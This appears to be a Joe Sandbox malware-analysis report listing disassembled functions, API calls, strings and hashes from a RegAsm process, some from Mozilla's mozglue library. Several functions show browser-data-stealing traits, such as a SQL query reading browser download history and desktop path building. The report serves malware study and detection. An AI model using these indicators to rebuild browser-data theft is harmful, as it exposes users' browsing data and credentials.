API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 749e1a21833b67a2b8bee701cd3d0e776919949e3e0047392e4a87da30d5504c
Instruction ID: 080437eef62607c782fde66649ee1de0bebf8a968e5f039488c8dd03e8d4bb0d
Opcode Fuzzy Hash: 749e1a21833b67a2b8bee701cd3d0e776919949e3e0047392e4a87da30d5504c
Instruction Fuzzy Hash: DE416DB5A00615CFCF00DFA9C880A9AB7F5FF89318B558569D945ABB11DB71FC40CB90

Function 6C136590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C12FA80: GetCurrentThreadId.KERNEL32 ref: 6C12FA8D
Part of subcall function 6C12FA80: AcquireSRWLockExclusive.KERNEL32(6C17F448), ref: 6C12FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C136727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C1367C8

Part of subcall function 6C144290: memcpy.VCRUNTIME140(?,?,6C152003,6C150AD9,?,6C150AD9,00000000,?,6C150AD9,?,00000004,?,6C151A62,?,6C152003,?), ref: 6C1442C4

Strings

data, xrefs: 6C136593

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: a1fac093d95cec3ea96c85c30480508a2a124b7653a97fcf48a8e08385c315f3
Instruction ID: 326dbbff3cea4557aeeb1cfa4da04c4e367a0b20e6bd47d8e1eb1bb640a13ca8
Opcode Fuzzy Hash: a1fac093d95cec3ea96c85c30480508a2a124b7653a97fcf48a8e08385c315f3
Instruction Fuzzy Hash: 9BD1EEB5A083448FD724DF25C851B9FB7E1BFD5308F20892DE58997B91EB30A849CB52

Function 0041210E Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000000,?,?,?,00413794,00000000,00000010), ref: 00412119
lstrcpynA.KERNEL32(C:\Users\user\Desktop\,?,00000000,?), ref: 00412132
lstrlenA.KERNEL32(?), ref: 00412144
wsprintfA.USER32 ref: 00412156

Strings

%s%s, xrefs: 00412150
C:\Users\user\Desktop\, xrefs: 0041212C, 00412131

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-4107738187
Opcode ID: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction ID: 2b65b01ea0560ea7e18c8daf8da5e1637e4a778ce13f385dfd922e5b6f13eae1
Opcode Fuzzy Hash: e78d85b104e7b8f8ae18f25e6644af7b5d694852cb88d63dd502dd69edac9df2
Instruction Fuzzy Hash: 83F0E9322002157FDF091F99DC48D9B7FAEDF45666F000061F908D2211C6775F1586E5

Function 6C12D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C0FEB57,?,?,?,?,?,?,?,?,?), ref: 6C12D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C0FEB57,?), ref: 6C12D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C0FEB57,?), ref: 6C12D673
free.MOZGLUE(?), ref: 6C12D888

Strings

|Enabled, xrefs: 6C12D81E

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: a235d653e581a86cf1b4c4237e4e585f2eb531ecb33fc47e5262f4e79ed92735
Instruction ID: 74e2a927b1f4d7073fb489f1de024dbb60362ec3d62c588e1c5bc30b6e7f571e
Opcode Fuzzy Hash: a235d653e581a86cf1b4c4237e4e585f2eb531ecb33fc47e5262f4e79ed92735
Instruction Fuzzy Hash: E8A135B4A043148FDB11DF69C490BEEBBF1EF59318F14805CD899AB741D738A986CBA1

Function 0040826D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00408307
LocalAlloc.KERNEL32(00000040,-0000001F,00000000,?,?), ref: 0040833C

Strings

v20, xrefs: 00408286
v10, xrefs: 004082CE
ERROR_RUN_EXTRACTOR, xrefs: 004082BE

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 52611349-380572819
Opcode ID: a7c4bab868171f9c93a08c2e1f806e3bf011c80412f2b322c6d12547dab02295
Instruction ID: fcfb18457dfe5f4014f6e0c956c13978459b922771fba34e45ab360bdeedf6ef
Opcode Fuzzy Hash: a7c4bab868171f9c93a08c2e1f806e3bf011c80412f2b322c6d12547dab02295
Instruction Fuzzy Hash: 0841B3B2A00108ABCF10DFA5CD42ADE3BB8AB84714F15413BFD40F7280EB78D9458B99

Function 6C12F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C12F480

Part of subcall function 6C0FF100: LoadLibraryW.KERNEL32(shell32,?,6C16D020), ref: 6C0FF122
Part of subcall function 6C0FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C0FF132

CloseHandle.KERNEL32(00000000), ref: 6C12F555

Part of subcall function 6C1014B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C101248,6C101248,?), ref: 6C1014C9
Part of subcall function 6C1014B0: memcpy.VCRUNTIME140(?,6C101248,00000000,?,6C101248,?), ref: 6C1014EF

Part of subcall function 6C0FEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C0FEEE3

CreateFileW.KERNEL32 ref: 6C12F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C12F523

Strings

\oleacc.dll, xrefs: 6C12F4CB

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 4a444d92980245aa57f6f4e89130b575b77351c8dee50a2f1a16e840db3de64e
Instruction ID: 0eebeaa203e7773d5abbd3e9b297a7d205c0768f7e0e8351fe5b6219a64723c0
Opcode Fuzzy Hash: 4a444d92980245aa57f6f4e89130b575b77351c8dee50a2f1a16e840db3de64e
Instruction Fuzzy Hash: 3F41B630608720DFD721DF29C884B9BB7F4AF55318F100A1CF5A187650EB34D989CBA2

Function 6C1574A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C157526
__Init_thread_footer.LIBCMT ref: 6C157566
__Init_thread_footer.LIBCMT ref: 6C157597

Strings

UnmapViewOfFile2, xrefs: 6C157552
kernel32.dll, xrefs: 6C157557

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 95a2f2d17f9c5ca54475de383e4b00d49a2eb7947b9fb9ba5fb74faf829901d1
Instruction ID: cb9bcca53dc75621db88d1ee855ea3a5213433fec340678e09b049286cdca51b
Opcode Fuzzy Hash: 95a2f2d17f9c5ca54475de383e4b00d49a2eb7947b9fb9ba5fb74faf829901d1
Instruction Fuzzy Hash: 42212875719510DBCB26CFA9C81AF9A33B5EB47368B40852AD82587B80C738A85186F2

Function 0040F2B1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F2C7

Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDAA
Part of subcall function 0042ED95: __CxxThrowException@8.LIBCMT ref: 0042EDBF
Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDD0

std::_Xinvalid_argument.LIBCPMT ref: 0040F2E6
_memmove.LIBCMT ref: 0040F320

Strings

invalid string position, xrefs: 0040F2C2
string too long, xrefs: 0040F2E1

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: abe35794036886210528489db63441bff37f02ade2a9557ca0a4a50bd5b67518
Instruction ID: fda4f209e2cf0b56f3a9b1d46fb6730c74d61fd80b342966d8a14118a61022c7
Opcode Fuzzy Hash: abe35794036886210528489db63441bff37f02ade2a9557ca0a4a50bd5b67518
Instruction Fuzzy Hash: E511E0713002029FDB24EF2DD881A59B3A5BF45324754053AF816EBAC2C778ED59C799

Function 6C15C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C15C0E9), ref: 6C15C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C15C437
FreeLibrary.KERNEL32(?,6C15C0E9), ref: 6C15C44C

Strings

ntdll.dll, xrefs: 6C15C413
NtQueryVirtualMemory, xrefs: 6C15C431

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: add180f76b41398a30f2c3c376432e6d3b43e170b0d8dc9c0a11e0afd264f804
Instruction ID: ef5e5284fed5843ce9c50971e80620e74a1e74acf1d3b8a3fb5a1619882536d0
Opcode Fuzzy Hash: add180f76b41398a30f2c3c376432e6d3b43e170b0d8dc9c0a11e0afd264f804
Instruction Fuzzy Hash: AEE0B6B06063219BDF027FB1C918B137BF8A71A308F044116EA3592B00EFB4C030AB71

Function 6C1575B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C15748B,?), ref: 6C1575B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C1575D7
FreeLibrary.KERNEL32(?,6C15748B,?), ref: 6C1575EC

Strings

ntdll.dll, xrefs: 6C1575B3
RtlNtStatusToDosError, xrefs: 6C1575D1

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 76d87f3096c8526ba41c31d1829abe82a659038a737328d9afd77cc0ee09baf3
Instruction ID: be3536c9e8525354603d4f132d38a48c5fe983af38b6dc6414bed1d8777a4628
Opcode Fuzzy Hash: 76d87f3096c8526ba41c31d1829abe82a659038a737328d9afd77cc0ee09baf3
Instruction Fuzzy Hash: 04E0BFB1610361ABDF025FA1C84A7037AF8EF07318F104025E925D1700DFB98051EF71

Function 6C157600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C157592), ref: 6C157608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C157627
FreeLibrary.KERNEL32(?,6C157592), ref: 6C15763C

Strings

ntdll.dll, xrefs: 6C157603
NtUnmapViewOfSection, xrefs: 6C157621

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: cfee35ec00371018369507d59803658a92fb15ff5277e796628e7bac1e546433
Instruction ID: 7d3367cd61f2ac99bc11e97483873c69303af4850e5d86fe6b2b484583d3c0af
Opcode Fuzzy Hash: cfee35ec00371018369507d59803658a92fb15ff5277e796628e7bac1e546433
Instruction Fuzzy Hash: FEE0B6B4614361ABEF026FA6C8497037AB9EB1A35DF008116E925D2740EBB98011AF75

Function 004092A7 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 004094AB
lstrlenA.KERNEL32(?), ref: 004094C6

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Strings

Downloads, xrefs: 004092D1
SELECT target_path, tab_url from downloads, xrefs: 004093B9
Downloads, xrefs: 00409328

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: 303069fe88f16fd02622c7b29bfdcf617c5e0da2cd4ec396c89ee5849e6328bf
Instruction ID: c3a2e1ceed73f30f2a0186b43c10b10d94df4e932e2d00075f3affca8e015c3d
Opcode Fuzzy Hash: 303069fe88f16fd02622c7b29bfdcf617c5e0da2cd4ec396c89ee5849e6328bf
Instruction Fuzzy Hash: D0711F71A40119AFCF01FFA6DE469DDB775AF04309F611026F500B71E1DBB8AE898B98

Function 6C148E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C13B58D,?,?,?,?,?,?,?,6C16D734,?,?,?,6C16D734), ref: 6C148E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C13B58D,?,?,?,?,?,?,?,6C16D734,?,?,?,6C16D734), ref: 6C148EBF
free.MOZGLUE(?,?,?,?,6C13B58D,?,?,?,?,?,?,?,6C16D734,?,?,?), ref: 6C148F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C13B58D,?,?,?,?,?,?,?,6C16D734,?,?,?,6C16D734), ref: 6C148F46
free.MOZGLUE(?,?,?,?,6C13B58D,?,?,?,?,?,?,?,6C16D734,?,?,?), ref: 6C148F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C13B58D,?,?,?,?,?,?,?,6C16D734,?,?,?), ref: 6C148F8F

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3e317ed3f8f23ba34edbad3d4cfac5ec64cb04d6e8c9f168ff6641da38d765d8
Instruction ID: 5b0518f6c9d33b1b722e93a33325a2dc136436f730b5af61f3994c8dbebea5ce
Opcode Fuzzy Hash: 3e317ed3f8f23ba34edbad3d4cfac5ec64cb04d6e8c9f168ff6641da38d765d8
Instruction Fuzzy Hash: 9351A0B5A012168FEB10CF68D88076EB7B2BF44318F25456AD916EB740E731FA05CBE1

Function 6C0F4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C0F4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C0F4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C0F4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C0F4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C0F4F1E

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 5903e71a4dc7952bf0c431d18f04dd8fc464533190fe9f9815e89827ad3213de
Instruction ID: 79429413669092772ed03946e81ed6fd1e1fa7352094ab81f721dacda9831599
Opcode Fuzzy Hash: 5903e71a4dc7952bf0c431d18f04dd8fc464533190fe9f9815e89827ad3213de
Instruction Fuzzy Hash: 2441C171604701AFD705CFA9C880A5BB7E4BF89344F108A2DFC6A87741D730E99ACB91

Function 6C101530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C10152B,?,?,?,?,6C101248,?), ref: 6C10159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C10152B,?,?,?,?,6C101248,?), ref: 6C1015BC
moz_xmalloc.MOZGLUE(-00000001,?,6C10152B,?,?,?,?,6C101248,?), ref: 6C1015E7
free.MOZGLUE(?,?,?,?,?,?,6C10152B,?,?,?,?,6C101248,?), ref: 6C101606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C10152B,?,?,?,?,6C101248,?), ref: 6C101637

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: a8e9beedd923bf0eb1c1eb338ccd177ce161adcc414500d0644668174d93fa25
Instruction ID: 8039387532ff45db95f2e0fa9dd4dbb6299935f8df88a54f3b2e69f85a3454ca
Opcode Fuzzy Hash: a8e9beedd923bf0eb1c1eb338ccd177ce161adcc414500d0644668174d93fa25
Instruction Fuzzy Hash: A831E872B00114CBCB188E78D85056F77A9BB823687390B2DE823DBBD4EF74D9058791

Function 6C15AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C16E330,?,6C11C059), ref: 6C15AD9D

Part of subcall function 6C10CA10: malloc.MOZGLUE(?), ref: 6C10CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C16E330,?,6C11C059), ref: 6C15ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C16E330,?,6C11C059), ref: 6C15AE01
GetLastError.KERNEL32(?,00000000,?,?,6C16E330,?,6C11C059), ref: 6C15AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C16E330,?,6C11C059), ref: 6C15AE3D

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
